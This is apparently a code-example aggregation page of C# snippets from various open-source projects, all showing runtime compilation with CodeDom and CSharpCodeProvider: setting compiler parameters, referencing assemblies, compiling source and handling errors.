コード例 #1
2
ファイル: CSharpBuilder.cs プロジェクト: Tony-Liang/Common
 private bool init(string generateCode, params string[] referenceAssemblies)
 {
     bool flag = false;
     result = null;
     using (CSharpCodeProvider provider = new CSharpCodeProvider())
     {
         ICodeCompiler objICodeCompiler = provider.CreateCompiler();
         CompilerParameters objCompilerParameters = new CompilerParameters();
         if (referenceAssemblies != null)
             objCompilerParameters.ReferencedAssemblies.AddRange(referenceAssemblies);
         objCompilerParameters.GenerateExecutable = false;
         objCompilerParameters.GenerateInMemory = true;
         result = objICodeCompiler.CompileAssemblyFromSource(objCompilerParameters, generateCode);
     }
     if (result != null)
     {
         if (result.Errors.Count > 0 && ErrorHandler != null)
         {
             ErrorHandler(result.Errors);
         }
         else
         {
             flag = true;
         }
     }
     return flag;
 }
コード例 #2
1
ファイル: CSharpCompiler.cs プロジェクト: rdpeake/CodeRunners
        public object Compile(System.IO.Stream Content, List<string> references)
        {
            CodeDomProvider cc = CodeDomProvider.CreateProvider("CSharp");
            CompilerParameters cp = new CompilerParameters();
            cp.OutputAssembly = Environment.CurrentDirectory + "\\Output_csharp.dll";
            cp.ReferencedAssemblies.Add("System.dll");
            cp.ReferencedAssemblies.Add("System.Core.dll");
            cp.ReferencedAssemblies.Add("System.Data.dll");
            cp.ReferencedAssemblies.Add("System.Xml.dll");
            cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll");

            foreach (string assembly in references)
            {
                cp.ReferencedAssemblies.Add(assembly);
            }

            cp.WarningLevel = 3;

            cp.CompilerOptions = "/target:library /optimize";
            cp.GenerateExecutable = false;
            cp.GenerateInMemory = false; //TODO check this setting

            System.IO.StreamReader sr = new System.IO.StreamReader(Content);

            CompilerResults cr = cc.CompileAssemblyFromSource(cp, sr.ReadToEnd());

            return cr;
        }
コード例 #3
1
        public static CompilerResults CompileFile(string input, string output, params string[] references)
        {
            CreateOutput(output);

            List<string> referencedAssemblies = new List<string>(references.Length + 3);

            referencedAssemblies.AddRange(references);
            referencedAssemblies.Add("System.dll");
            referencedAssemblies.Add(typeof(IModule).Assembly.CodeBase.Replace(@"file:///", ""));
            referencedAssemblies.Add(typeof(ModuleAttribute).Assembly.CodeBase.Replace(@"file:///", ""));

            CSharpCodeProvider codeProvider = new CSharpCodeProvider();
            CompilerParameters cp = new CompilerParameters(referencedAssemblies.ToArray(), output);

            using (Stream stream = Assembly.GetExecutingAssembly().GetManifestResourceStream(input))
            {
                if (stream == null)
                {
                    throw new ArgumentException("input");
                }

                StreamReader reader = new StreamReader(stream);
                string source = reader.ReadToEnd();
                CompilerResults results = codeProvider.CompileAssemblyFromSource(cp, source);
                ThrowIfCompilerError(results);
                return results;
            }
        }
コード例 #4
1
ファイル: ReflectionHelper.cs プロジェクト: bartwe/Gearset
        static ReflectionHelper()
        {
            UsingNamespaces = new List<String>();
            ClearUsings();

            // Create the C# Code Provider to compile C# Code
            IDictionary<string, string> providerOptions = new Dictionary<string, string>();
            providerOptions.Add("CompilerVersion", "v3.5");
            CodeProvider = new CSharpCodeProvider(providerOptions);
            CompilerParameters = new CompilerParameters();

            // Generate aclass library instead of an executable
            CompilerParameters.GenerateExecutable = false;

            // Specify the assembly file name to generate.
            CompilerParameters.OutputAssembly = "C:\\DummyAssembly.dll";

            // Save the assembly as a physical file.
            CompilerParameters.GenerateInMemory = false;

            // Set whether to treat all warnings as errors.
            CompilerParameters.TreatWarningsAsErrors = false;

            // Add a reference to the game and System.dll and XNA
            //CompilerParameters.ReferencedAssemblies.Add(typeof(Game).Assembly.FullName);
            ClearReferencedAsseblies();
        }
コード例 #5
1
        private static object ExecuteScript(string script, ScriptExecutionOptions options)
        {
            object result = null;

            CompilerParameters cpar = new CompilerParameters();
            cpar.GenerateInMemory = true;
            cpar.ReferencedAssemblies.Add("mscorlib.dll");
            cpar.ReferencedAssemblies.Add("System.dll");
            cpar.ReferencedAssemblies.Add("System.Core.dll");
            cpar.ReferencedAssemblies.Add("System.Data.dll");
            cpar.ReferencedAssemblies.Add("System.Xml.dll");
            cpar.ReferencedAssemblies.Add(typeof(CSharpScriptingProvider).Assembly.Location);

            string code = Properties.Resources.ScriptProviderCSharpTemplate;
            code = code.Replace("{Source}", script);

            CSharpCodeProvider csp = new CSharpCodeProvider();
            CompilerResults res = csp.CompileAssemblyFromSource(cpar, code);

            if (!res.Errors.HasErrors)
            {
                MethodInfo func = res.CompiledAssembly.ExportedTypes.First().GetMethods().First();
                result = func.Invoke(null, new object[] { options });
            }

            return result;
        }
コード例 #6
1
ファイル: Program.cs プロジェクト: Alx666/Netbase
        private static CompilerResults BuildServerAssembly(Assembly hProtocolAssembly, string sAssemblyName, string sFrameworkVersion, string[] hCode)
        {
            CompilerParameters hBuildParams = new CompilerParameters();
            hBuildParams.OutputAssembly = sAssemblyName;
            hBuildParams.GenerateExecutable = false;
            hBuildParams.GenerateInMemory = false;
            #if DEBUG
            hBuildParams.IncludeDebugInformation = true;
            hBuildParams.TempFiles = new TempFileCollection(Environment.GetEnvironmentVariable("TEMP"), true);
            #else
            hBuildParams.IncludeDebugInformation    = false;
            hBuildParams.CompilerOptions            = "/optimize";
            #endif
            Assembly hExecutingAssembly = Assembly.GetExecutingAssembly();

            foreach (AssemblyName hAssemblyName in hExecutingAssembly.GetReferencedAssemblies())
            {
                hBuildParams.ReferencedAssemblies.Add(Assembly.Load(hAssemblyName).Location);
            }

            hBuildParams.ReferencedAssemblies.Add(hExecutingAssembly.Location);
            hBuildParams.ReferencedAssemblies.Add(hProtocolAssembly.Location);
            hBuildParams.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
            hBuildParams.ReferencedAssemblies.Add(typeof(Netbase.Server.ServerIOCP<>).Assembly.Location);

            Dictionary<string, string> hOptions = new Dictionary<string, string>();
            hOptions.Add("CompilerVersion", sFrameworkVersion);

            using (CodeDomProvider hCodeDom = CodeDomProvider.CreateProvider("CSharp", hOptions))
            {
                return hCodeDom.CompileAssemblyFromSource(hBuildParams, hCode);
            }
        }
コード例 #7
1
        public void UpdateSource()
        {
            _codeType = null;
            _codeInstance = null;
            if (Source == null)
                return;

            var provider = new CSharpCodeProvider();
            var options = new CompilerParameters { GenerateInMemory = true };
            string qn = typeof(Point3D).Assembly.Location;
            options.ReferencedAssemblies.Add("System.dll");
            options.ReferencedAssemblies.Add(qn);
            string src = template.Replace("#code#", Source);
            CompilerResults compilerResults = provider.CompileAssemblyFromSource(options, src);
            if (!compilerResults.Errors.HasErrors)
            {
                Errors = null;
                var assembly = compilerResults.CompiledAssembly;
                _codeInstance = assembly.CreateInstance("MyNamespace.MyEvaluator");
                _codeType = _codeInstance.GetType();
            }
            else
            {
                // correct line numbers
                Errors = compilerResults.Errors;
                for (int i = 0; i < Errors.Count; i++)
                    Errors[i].Line -= 17;
            }

            _w = ParameterW;
            UpdateModel();
        }
コード例 #8
1
        // Здійснює компіляцію програми, яка обчислює задану функцію
        public bool Compile(string str)
        {
            // Клас, який надає можливості компіляції:
            CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");

            // Параметри компілятора:
            CompilerParameters cp = new CompilerParameters();
            cp.ReferencedAssemblies.Add("system.dll"); // підключаємо складання
            cp.CompilerOptions = "/t:library"; // створюємо бібліотеку
            cp.GenerateInMemory = true; // створюємо складання у пам'яті

            // Створюємо рядок, який містить вихідний код класу Func
            StringBuilder sb = new StringBuilder("");
            sb.Append("using System;\n");
            sb.Append("namespace Func{ \n");
            sb.Append("public class Func{ \n");
            sb.Append("public double MyFunc(double x){\n");
            // З функції MyFunc повертаємо вираз, отриманий у вигляді рядку:
            sb.Append("return " + str + "; \n");
            sb.Append("} \n");
            sb.Append("} \n");
            sb.Append("}\n");

            // Здійснюємо компіляцію:
            CompilerResults cr = icc.CompileAssemblyFromSource(cp, sb.ToString());
            if (cr.Errors.Count > 0)
                return false;
            assembly = cr.CompiledAssembly;
            return true;
        }
コード例 #9
1
ファイル: DynaInvoke.cs プロジェクト: contactsamie/FunUnit
        public Tuple<StringCollection, Assembly> Compile(string[] dllFiles, string[] sourceFiles, string outputAssemblyPath)
        {
            var providerOptions = new Dictionary<string,
            string> { {
                    "CompilerVersion",
                    "v4.0"
                }
            };
            CodeDomProvider codeProvider = new CSharpCodeProvider(providerOptions);
            var compilerParameters = new CompilerParameters
            {
                GenerateExecutable = false,
                GenerateInMemory = true,
                IncludeDebugInformation = true
            };

            compilerParameters.ReferencedAssemblies.AddRange(dllFiles);
            compilerParameters.ReferencedAssemblies.Add("System.dll");
            compilerParameters.ReferencedAssemblies.Add("System.Core.dll");
            compilerParameters.ReferencedAssemblies.Add("System.Web.Services.dll");
            compilerParameters.ReferencedAssemblies.Add("System.ComponentModel.dll");
            compilerParameters.ReferencedAssemblies.Add("System.Xml.Serialization.dll");
            var result = codeProvider.CompileAssemblyFromFile(compilerParameters, sourceFiles);
            return new Tuple<StringCollection,
            Assembly>(result.Output, result.Errors.Count > 0 ? null : result.CompiledAssembly);
        }
コード例 #10
1
        public void CompileSiteModels()
        {
            DirectoryInfo di = new DirectoryInfo(SysPath.SiteModelsDirectory);
            FileInfo[] fiar = di.GetFiles("*.cs");
            String[] fisar = new String[fiar.Length];

            for (int i = 0; i < fiar.Length; i++)
            {
                fisar[i] = fiar[i].FullName;
            }

            CompilerParameters parameters = new CompilerParameters(new String[] { "System.dll", "NStag.dll", "nhibernate.dll" });
            parameters.GenerateExecutable = false;
            parameters.GenerateInMemory = true;
            parameters.OutputAssembly = this.DomainName;
            parameters.CompilerOptions = String.Concat("/lib:", SysPath.GetLibDirectory());

            CSharpCodeProvider cprovider = new CSharpCodeProvider();
            CompilerResults results = cprovider.CompileAssemblyFromFile(parameters, cspath);

            if (results.Errors.HasErrors)
            {
                throw new Exception(results.Errors[0].ErrorText);
            }
        }
コード例 #11
1
ファイル: CompileEngine.cs プロジェクト: kamchung322/eXpand
 Type CompileCore(IPersistentAssemblyInfo persistentAssemblyInfo, string generateCode, CompilerParameters compilerParams, System.CodeDom.Compiler.CodeDomProvider codeProvider) {
     CompilerResults compileAssemblyFromSource = null;
     Type compileCore = null;
     try {
         compileAssemblyFromSource = codeProvider.CompileAssemblyFromSource(compilerParams, generateCode);
         if (compilerParams.GenerateInMemory) {
             Assembly compiledAssembly = compileAssemblyFromSource.CompiledAssembly;
             _compiledAssemblies.Add(compiledAssembly);
             compileCore = compiledAssembly.GetTypes().Single(type => typeof(ModuleBase).IsAssignableFrom(type));
         }
     } catch (Exception e) {
         Tracing.Tracer.LogError(e);
     } finally {
         if (compileAssemblyFromSource != null) {
             SetErrors(compileAssemblyFromSource, persistentAssemblyInfo, compilerParams);
         }
         if (string.IsNullOrEmpty(persistentAssemblyInfo.CompileErrors) && compileCore != null) {
             if (!ValidateBOModel(persistentAssemblyInfo, compileCore))
                 compileCore = null;
         }
         if (Directory.Exists(StrongKeys))
             Directory.Delete(StrongKeys, true);
     }
     return compileCore;
 }
コード例 #12
1
ファイル: Compiler.cs プロジェクト: hal1932/cstest
        public bool Compile(string src)
        {
            var param = new CompilerParameters(new string[]
            {
                "System.dll",
                "mscorlib.dll",
                "System.Data.dll",
                "System.Xml.dll",
                "System.Xml.Linq.dll",
                "lib.dll",
                "compiler.dll",
            });
            param.GenerateInMemory = true;
            param.GenerateExecutable = false;
            param.IncludeDebugInformation = false;

            _provider = new CSharpCodeProvider(
                new Dictionary<string, string>()
                {
                    { "CompilerVersion", "v4.0" },
                });
            _results = _provider.CompileAssemblyFromSource(param, src);
            if (_results.Errors.Count > 0)
            {
                foreach (CompilerError err in _results.Errors)
                {
                    if (err.IsWarning) Console.WriteLine("[Warning] {0}: [{1}] {2}", err.Line, err.ErrorNumber, err.ErrorText);
                    else Console.WriteLine("[Error] {0}: [{1}] {2}", err.Line, err.ErrorNumber, err.ErrorText);
                }
                return false;
            }

            return true;
        }
コード例 #13
1
ファイル: AssemblyBuilder.cs プロジェクト: modulexcite/Tx
        public static void OutputAssembly(Dictionary<string, string> generated, IEnumerable<string> assemblies, string assemblyPath)
        {
            var providerOptions = new Dictionary<string, string> {{"CompilerVersion", "v4.0"}};

            using (var codeProvider = new CSharpCodeProvider(providerOptions))
            {
                string[] sources = (from p in generated.Keys select generated[p]).ToArray();

                List<string> assemblyPaths = new List<string>(assemblies);
                assemblyPaths.Add(typeof (ManifestEventAttribute).Assembly.Location);

                var compilerParameters = new CompilerParameters(
                    assemblyPaths.ToArray(),
                    assemblyPath, 
                    false);

                CompilerResults results = codeProvider.CompileAssemblyFromSource(compilerParameters, sources);

                if (results.Errors.Count == 0)
                    return;

                var sb = new StringBuilder();
                foreach (object o in results.Errors)
                {
                    sb.AppendLine(o.ToString());
                }

                string errors = sb.ToString();
                throw new Exception(errors);
            }
        }
コード例 #14
1
 /// <summary>
 /// Verifies that <paramref name="source"/> compiles using the provided compiler.
 /// </summary>
 /// <param name="compiler">Compiler instance</param>
 /// <param name="source">Source code to compile</param>
 public static CompilerResults Compiles(CodeDomProvider provider, Stream source)
 {
     Assert.IsNotNull(provider);
     Assert.IsNotNull(source);
     CompilerParameters ps = new CompilerParameters();
     return Compiles(provider, ps, source);
 }
コード例 #15
1
ファイル: Program.cs プロジェクト: Alx666/Netbase
        private static CompilerResults BuildSharedAssembly(string sAssemblyName, string sFrameworkVersion, string[] hCode)
        {
            CompilerParameters hBuildParams         = new CompilerParameters();
            hBuildParams.OutputAssembly             = sAssemblyName;
            hBuildParams.GenerateExecutable         = false;
            hBuildParams.GenerateInMemory           = false;
            #if DEBUG
            hBuildParams.IncludeDebugInformation    = true;
            hBuildParams.TempFiles                  = new TempFileCollection(Environment.GetEnvironmentVariable("TEMP"), true);
            #else
            hBuildParams.IncludeDebugInformation    = false;
            hBuildParams.CompilerOptions            = "/optimize";
            #endif
            Assembly hRootAssembly = sFrameworkVersion == "v3.5" ? Assembly.Load(Assembly.GetExecutingAssembly().GetReferencedAssemblies().Where(hA => hA.Name == "Netbase.Shared").Single()) : Assembly.GetExecutingAssembly();

            foreach (AssemblyName hAssemblyName in hRootAssembly.GetReferencedAssemblies())
            {
                Assembly hLoaded = Assembly.Load(hAssemblyName);
                hBuildParams.ReferencedAssemblies.Add(hLoaded.Location);
            }

            Dictionary<string, string> hOptions = new Dictionary<string, string>();
            hOptions.Add("CompilerVersion", sFrameworkVersion);

            using (CodeDomProvider hCodeDom = CodeDomProvider.CreateProvider("CSharp", hOptions))
            {
                return hCodeDom.CompileAssemblyFromSource(hBuildParams, hCode);
            }
        }
コード例 #16
1
        public MainForm()
        {
            //
            // The InitializeComponent() call is required for Windows Forms designer support.
            //
            InitializeComponent();

             CodeCompileUnit cu = GeneraCodigo();
             CodeDomProvider dp = CodeDomProvider.CreateProvider("CSharp");
             //Imprimir el código
             StringWriter sw = new StringWriter();
             System.CodeDom.Compiler.IndentedTextWriter itw = new IndentedTextWriter(sw);
             CodeGeneratorOptions go = new CodeGeneratorOptions();
             go.BlankLinesBetweenMembers = false;
             dp.GenerateCodeFromCompileUnit(cu,sw,go);
             this.tbFuenteGenerado.Text = sw.ToString();

             //Compilar desde dom
             CompilerParameters cp = new CompilerParameters(new string[]{},"borrame.dll");
             CompilerResults cr = dp.CompileAssemblyFromDom(cp,cu);
             tbErrores.Text = "";
             foreach(CompilerError ce in cr.Errors){
             	tbErrores.Text += String.Format("{0}){1} in {2} at line {3} column {4} isWarning{5}",ce.ErrorNumber,ce.ErrorText,ce.FileName,ce.Line,ce.Column,ce.IsWarning);
             }
        }
コード例 #17
1
ファイル: WebServiceProxy.cs プロジェクト: SLSoft/GGZBTQPT
        public static object InvokeWebService(string url, string classname, string methodname, object[] args)
        {
            string @namespace = "EnterpriseServerBase.WebService.DynamicWebCalling";
            if ((classname == null) || (classname == ""))
            {
                classname = WebServiceProxy.GetWsClassName(url);
            }

            try
            {
                //获取WSDL
                WebClient wc = new WebClient();
                Stream stream = wc.OpenRead(url + "?WSDL");
                ServiceDescription sd = ServiceDescription.Read(stream);
                ServiceDescriptionImporter sdi = new ServiceDescriptionImporter();
                sdi.AddServiceDescription(sd, "", "");
                CodeNamespace cn = new CodeNamespace(@namespace);

                //生成客户端代理类代码
                CodeCompileUnit ccu = new CodeCompileUnit();
                ccu.Namespaces.Add(cn);
                sdi.Import(cn, ccu);
                CSharpCodeProvider csc = new CSharpCodeProvider();
                ICodeCompiler icc = csc.CreateCompiler();

                //设定编译参数
                CompilerParameters cplist = new CompilerParameters();
                cplist.GenerateExecutable = false;
                cplist.GenerateInMemory = true;
                cplist.ReferencedAssemblies.Add("System.dll");
                cplist.ReferencedAssemblies.Add("System.XML.dll");
                cplist.ReferencedAssemblies.Add("System.Web.Services.dll");
                cplist.ReferencedAssemblies.Add("System.Data.dll");

                //编译代理类
                CompilerResults cr = icc.CompileAssemblyFromDom(cplist, ccu);
                if (true == cr.Errors.HasErrors)
                {
                    System.Text.StringBuilder sb = new System.Text.StringBuilder();
                    foreach (System.CodeDom.Compiler.CompilerError ce in cr.Errors)
                    {
                        sb.Append(ce.ToString());
                        sb.Append(System.Environment.NewLine);
                    }
                    throw new Exception(sb.ToString());
                }

                //生成代理实例,并调用方法
                System.Reflection.Assembly assembly = cr.CompiledAssembly;
                Type t = assembly.GetType(@namespace + "." + classname, true, true);
                object obj = Activator.CreateInstance(t);
                System.Reflection.MethodInfo mi = t.GetMethod(methodname);

                return mi.Invoke(obj, args);
            }
            catch (Exception ex)
            {
                throw new Exception(ex.InnerException.Message, new Exception(ex.InnerException.StackTrace));
            }
        }
コード例 #18
1
		public void Constructor0_Deny_Unrestricted ()
		{
			CompilerParameters cp = new CompilerParameters ();
			Assert.IsNull (cp.CompilerOptions, "CompilerOptions");
			cp.CompilerOptions = "-debug";
			Assert.IsNull (cp.Evidence, "Evidence");
			Assert.IsFalse (cp.GenerateExecutable, "GenerateExecutable");
			cp.GenerateExecutable = true;
			Assert.IsFalse (cp.GenerateInMemory, "GenerateInMemory");
			cp.GenerateInMemory = true;
			Assert.IsFalse (cp.IncludeDebugInformation, "IncludeDebugInformation");
			cp.IncludeDebugInformation = true;
			Assert.IsNull (cp.MainClass, "MainClass");
			cp.MainClass = "Program";
			Assert.IsNull (cp.OutputAssembly, "OutputAssembly");
			cp.OutputAssembly = "mono.dll";
			Assert.AreEqual (0, cp.ReferencedAssemblies.Count, "ReferencedAssemblies");
			Assert.AreEqual (0, cp.TempFiles.Count, "TempFiles");
			cp.TempFiles = new TempFileCollection ();
			Assert.AreEqual (IntPtr.Zero, cp.UserToken, "UserToken");
			cp.UserToken = (IntPtr) 1;
			Assert.AreEqual (-1, cp.WarningLevel, "WarningLevel");
			cp.WarningLevel = 0;
			Assert.IsNull (cp.Win32Resource, "Win32Resource");
			cp.Win32Resource = "*";
#if NET_2_0
			Assert.AreEqual (0, cp.EmbeddedResources.Count, "EmbeddedResources");
			Assert.AreEqual (0, cp.LinkedResources.Count, "LinkedResources");
#endif
		}
コード例 #19
1
        public static System.Reflection.Assembly GenerateCode(ITextTemplatingEngineHost host, ParsedTemplate pt, 
		                                                       TemplateSettings settings, CodeCompileUnit ccu)
        {
            CompilerParameters pars = new CompilerParameters ();
            pars.GenerateExecutable = false;

            if (settings.Debug) {
                pars.GenerateInMemory = false;
                pars.IncludeDebugInformation = true;
                pars.TempFiles.KeepFiles = true;
            } else {
                pars.GenerateInMemory = true;
                pars.IncludeDebugInformation = false;
            }

            //resolve and add assembly references
            HashSet<string> assemblies = new HashSet<string> ();
            assemblies.UnionWith (settings.Assemblies);
            assemblies.UnionWith (host.StandardAssemblyReferences);
            foreach (string assem in assemblies) {
                string resolvedAssem = host.ResolveAssemblyReference (assem);
                if (!String.IsNullOrEmpty (resolvedAssem)) {
                    pars.ReferencedAssemblies.Add (resolvedAssem);
                } else {
                    pt.LogError ("Could not resolve assembly reference '" + assem + "'");
                    return null;
                }
            }
            CompilerResults results = settings.Provider.CompileAssemblyFromDom (pars, ccu);
            pt.Errors.AddRange (results.Errors);
            if (pt.Errors.HasErrors)
                return null;
            return results.CompiledAssembly;
        }
コード例 #20
1
        public Assembly Compile(string @namespace, params ScaffoldedMigration[] scaffoldedMigrations)
        {
            var options = new CompilerParameters
                              {
                                  GenerateExecutable = false,
                                  GenerateInMemory = true
                              };

            options.ReferencedAssemblies.Add(typeof(string).Assembly.Location);
            options.ReferencedAssemblies.Add(typeof(Expression).Assembly.Location);
            options.ReferencedAssemblies.Add(typeof(DbMigrator).Assembly.Location);
            options.ReferencedAssemblies.Add(typeof(DbContext).Assembly.Location);
            options.ReferencedAssemblies.Add(typeof(DbConnection).Assembly.Location);
            options.ReferencedAssemblies.Add(typeof(Component).Assembly.Location);
            options.ReferencedAssemblies.Add(typeof(MigrationCompiler).Assembly.Location);
            options.ReferencedAssemblies.Add(typeof(DbGeography).Assembly.Location);

            var embededResources = GenerateEmbeddedResources(scaffoldedMigrations, @namespace);
            embededResources.Each(r => options.EmbeddedResources.Add(r));

            var sources = scaffoldedMigrations.SelectMany(g => new[] { g.UserCode, g.DesignerCode });

            var compilerResults = _codeProvider.CompileAssemblyFromSource(options, sources.ToArray());

            embededResources.Each(File.Delete);

            if (compilerResults.Errors.Count > 0)
            {
                Console.WriteLine(scaffoldedMigrations.First().UserCode);

                throw new InvalidOperationException(BuildCompileErrorMessage(compilerResults.Errors));
            }

            return compilerResults.CompiledAssembly;
        }
コード例 #21
0
ファイル: ILCompiler.cs プロジェクト: Neojin9/Prism
        static string GetArgs(CompilerParameters options, string fileName, out string outp)
        {
            var args = new StringBuilder();

            args.Append(DEF_ARGS);

            outp =
                options.GenerateInMemory && String.IsNullOrWhiteSpace(options.OutputAssembly)
                ? Path.GetTempFileName()
                : options.OutputAssembly == Path.GetFileName(options.OutputAssembly) // just the name
                    ? Path.GetTempPath() + Path.DirectorySeparatorChar + options.OutputAssembly
                    : options.OutputAssembly;

            if (options.GenerateInMemory)
            {
                File.Delete(outp);
                options.TempFiles.AddFile(outp, true);
            }

            args.Append(options.GenerateExecutable ? EXE : DLL).Append(SPACE);
            args.Append(OUTPUT).Append(outp).Append(SPACE);
            args.Append(options.IncludeDebugInformation ? DEBUG : OPTIMIZE).Append(SPACE);

            if (!String.IsNullOrWhiteSpace(options.Win32Resource  ))
                args.Append(RESOURCE).Append(options.Win32Resource  ).Append(SPACE);
            if (!String.IsNullOrWhiteSpace(options.CompilerOptions))
                args                 .Append(options.CompilerOptions).Append(SPACE);

            args.Append(fileName);

            return args.ToString();
        }
コード例 #22
0
        /// <summary>编译源代码,返回编译好的程序集
        /// </summary>
        /// <param name="srcCodePath">源代码路径</param>
        /// <returns></returns>
        private Assembly Compile(string srcCodePath)
        {
            System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();
            string srcCode = "";

            ParseSrc(srcCodePath, ref srcCode, parameters);
            parameters.GenerateExecutable = false;
            parameters.GenerateInMemory   = true;
            using (var provider = new CSharpCodeProvider())
            {
                CompilerResults         results         = provider.CompileAssemblyFromSource(parameters, srcCode);
                CompilerErrorCollection errorcollection = results.Errors;
                string errorMsg = "";
                foreach (CompilerError error in errorcollection)
                {
                    if (error.IsWarning == true)
                    {
                        errorMsg = "Line: " + error.Line.ToString() + " Warning Number: " + error.ErrorNumber + " Warning Message: " + error.ErrorText + "\r\n";
                    }
                    else if (error.IsWarning == false)
                    {
                        errorMsg = "Line: " + error.Line.ToString() + " Error Number: " + error.ErrorNumber + " Error Message: " + error.ErrorText + "\r\n";
                    }
                }
                if (errorcollection.Count > 0)
                {
                    throw new Exception("[编译出错]" + errorMsg);
                }
                return(results.CompiledAssembly);
            }
        }
コード例 #23
0
ファイル: CSharpCompiler.cs プロジェクト: plioi/rook
        public CompilerResult Build(string code)
        {
            var csharpParameters = new System.CodeDom.Compiler.CompilerParameters
            {
                GenerateExecutable      = parameters.GenerateExecutable,
                GenerateInMemory        = parameters.GenerateInMemory,
                IncludeDebugInformation = parameters.IncludeDebugInformation
            };

            foreach (var assembly in parameters.References)
            {
                csharpParameters.ReferencedAssemblies.Add(assembly.Location);
            }

            var options = new Dictionary <string, string> {
                { "CompilerVersion", "v4.0" }
            };
            var provider = new CSharpCodeProvider(options);
            var results  = provider.CompileAssemblyFromSource(csharpParameters, code);

            if (results.Errors.HasErrors)
            {
                return(new CompilerResult(Language.CSharp, MapErrors(results.Errors).ToVector()));
            }

            return(new CompilerResult(results.CompiledAssembly));
        }
コード例 #24
0
ファイル: DynCompile.cs プロジェクト: akrisiun/AiLib
        public static ICalc GetCalc(string csCode)
        {
            ICalc obj = null;

#if !NETCOREAPP3_0 && !NETSTANDARD2_0 && !NETSTANDARD2_1
            using (Microsoft.CSharp.CSharpCodeProvider csProvider = new Microsoft.CSharp.CSharpCodeProvider())
            {
                var prm = new System.CodeDom.Compiler.CompilerParameters();
                prm.GenerateInMemory   = true;
                prm.GenerateExecutable = false;
#if NET451 || NET471
                prm.ReferencedAssemblies.Add(Assembly.GetExecutingAssembly().Location);
#endif

                counter++;
                // Implement the interface in the dynamic code
                var res = csProvider.CompileAssemblyFromSource(prm,
                                                               String.Format(@"public class CompiledCalc{0} : ICalc { public Exception LastError { get; set; }
                            public object Calc() { {1} }}", counter, csCode));
                var type = res.CompiledAssembly.GetType(string.Format("CompiledCalc{0}", counter));

                try
                {
                    obj = Activator.CreateInstance(type) as ICalc;
                }
                catch (Exception ex)
                {
                    obj           = obj ?? new CalcEmpty();
                    obj.LastError = ex;
                }
            }
#endif
            return(obj);
        }
コード例 #25
0
 private void Compile(CodeDom.CodeDomProvider provider, string source)
 {
     CodeDom.CompilerParameters param = new CodeDom.CompilerParameters();
     param.GenerateExecutable      = false;
     param.IncludeDebugInformation = false;
     param.GenerateInMemory        = true;
     CodeDom.CompilerResults      cr     = provider.CompileAssemblyFromSource(param, source);
     Specialized.StringCollection output = cr.Output;
     if (cr.Errors.Count != 0)
     {
         System.Console.WriteLine("Error invoking scripts.");
         CodeDom.CompilerErrorCollection es = cr.Errors;
         foreach (CodeDom.CompilerError s in es)
         {
             System.Console.WriteLine(s.ErrorText);
         }
     }
     else
     {
         object      o    = cr.CompiledAssembly.CreateInstance("Script");
         System.Type type = o.GetType();
         type.InvokeMember("ScriptExecute",
                           Reflection.BindingFlags.InvokeMethod |
                           Reflection.BindingFlags.Default, null, o, null);
     }
 }
コード例 #26
0
        private void BuildClientDll(string rootPath)
        {
            BuildDbFakeLibrary(rootPath);
            BuildFakeSyncLibrary(rootPath);

            String clientFileName          = System.IO.Path.Combine(rootPath, @"code\Client.cs");
            String clientMetadataFileName  = System.IO.Path.Combine(rootPath, @"code\ClientMetadata.cs");
            String clientConstantsFileName = System.IO.Path.Combine(rootPath, @"code\ClientConstants.cs");

            String             fileName     = System.IO.Path.Combine(rootPath, @"bin\Client.dll");
            CSharpCodeProvider codeProvider = new CSharpCodeProvider();

            System.CodeDom.Compiler.CompilerParameters parameters = new System.CodeDom.Compiler.CompilerParameters();
            parameters.GenerateExecutable = false;
            parameters.OutputAssembly     = fileName;
            parameters.TempFiles          = new TempFileCollection(String.Format(@"{0}\bin", rootPath));

            parameters.ReferencedAssemblies.Add(@"System.dll");
            parameters.ReferencedAssemblies.Add(System.IO.Path.Combine(rootPath, @"bin\SyncLibrary.dll"));
            parameters.ReferencedAssemblies.Add(System.IO.Path.Combine(rootPath, @"bin\DbEngine.dll"));

            string[] fileArray = new string[] { clientFileName, clientMetadataFileName, clientConstantsFileName };
            System.CodeDom.Compiler.CompilerResults results = codeProvider.CompileAssemblyFromFile(parameters, fileArray);
            CheckCompilerResults(results);
        }
コード例 #27
0
ファイル: Helper.cs プロジェクト: yallie/Eto.Parse
        public static T Create <T>(string code, string className, params string[] referencedAssemblies)
        {
            using (var csharp = new Microsoft.CSharp.CSharpCodeProvider())
            {
                var parameters = new System.CodeDom.Compiler.CompilerParameters()
                {
                    GenerateInMemory = true,
                };
                if (referencedAssemblies != null)
                {
                    parameters.ReferencedAssemblies.AddRange(referencedAssemblies);
                }
                var assemblyName = typeof(T).Assembly.GetName().Name + ".dll";
                if (typeof(T).Assembly != Assembly.GetExecutingAssembly() && (referencedAssemblies == null || !referencedAssemblies.Contains(assemblyName)))
                {
                    parameters.ReferencedAssemblies.Add(assemblyName);
                }

                var res = csharp.CompileAssemblyFromSource(parameters, code);
                if (res.Errors.HasErrors)
                {
                    var errors = string.Join("\n", res.Errors.OfType <CompilerError>().Select(r => r.ToString()));
                    throw new Exception(string.Format("Error compiling:\n{0}", errors));
                }

                return((T)res.CompiledAssembly.CreateInstance(className));
            }
        }
コード例 #28
0
        public CompilerResults Compile()
        {
            // init
            var guid     = Guid.NewGuid().ToString();
            var tempPath = System.IO.Path.Combine(System.IO.Path.GetTempPath(), guid);

            // create temp path
            System.IO.Directory.CreateDirectory(tempPath);

            // options
            var options = new System.CodeDom.Compiler.CompilerParameters()
            {
                GenerateInMemory        = true,
                GenerateExecutable      = false,
                IncludeDebugInformation = false,
                OutputAssembly          = System.IO.Path.Combine(tempPath, string.Format("{0}.dll", guid)),
                TempFiles = new TempFileCollection(tempPath, false)
            };

            // references
            var references = new Type[] { typeof(string), typeof(Enumerable), typeof(Processor) };

            options.ReferencedAssemblies.AddRange(references
                                                  .Select(x => x.Assembly)
                                                  .Where(x => !x.IsDynamic)
                                                  .GroupBy(x => x.FullName)
                                                  .Select(x => x.First().Location)
                                                  .ToArray());

            // compile
            return(_CodeProvider.CompileAssemblyFromSource(options, this.ToString()));
        }
コード例 #29
0
 internal BuildResultCodeCompileUnit(Type codeDomProviderType, System.CodeDom.CodeCompileUnit codeCompileUnit, System.CodeDom.Compiler.CompilerParameters compilerParameters, IDictionary linePragmasTable)
 {
     this._codeDomProviderType = codeDomProviderType;
